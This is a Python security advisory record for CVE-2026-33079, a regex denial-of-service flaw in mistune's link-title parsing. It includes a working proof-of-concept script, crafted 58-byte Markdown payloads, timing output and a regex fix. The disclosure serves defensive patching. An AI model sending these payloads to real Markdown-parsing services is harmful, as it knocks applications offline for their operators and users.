id: PYSEC-2026-2651 published: "2026-07-13T15:15:38.825074Z" modified: "2026-07-13T16:04:52.315390Z" aliases: - CVE-2026-33079 - GHSA-8mp2-v27r-99xp summary: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input details: "### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n r\"[ \\t\\n]+(\"\n r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|' # \"title\"\n r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\" # 'title'\n r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n payload = '[x](y \"' + '\\\\!' * n + ')'\n start = time.time()\n md(payload)\n elapsed = time.time() - start\n print(f\"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15 len= 38 bytes time=0.007s\nN=18 len= 44 bytes time=0.044s\nN=20 len= 48 bytes time=0.178s\nN=22 len= 52 bytes time=0.740s\nN=25 len= 58 bytes time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25 # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)" affected: - package: name: mistune ecosystem: PyPI purl: pkg:pypi/mistune ranges: - type: ECOSYSTEM events: - introduced: 3.0.0a1 - fixed: 3.2.1 versions: - 3.0.0 - 3.0.0a1 - 3.0.0a2 - 3.0.0a3 - 3.0.0rc1 - 3.0.0rc2 - 3.0.0rc3 - 3.0.0rc4 - 3.0.0rc5 - 3.0.1 - 3.0.2 - 3.1.0 - 3.1.1 - 3.1.2 - 3.1.3 - 3.1.4 - 3.2.0 references: - type: WEB url: https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2026-33079 - type: PACKAGE url: https://github.com/lepture/mistune - type: WEB url: "https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25" - type: PACKAGE url: https://pypi.org/project/mistune - type: ADVISORY url: https://github.com/advisories/GHSA-8mp2-v27r-99xp severity: - type: CVSS_V4 score: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N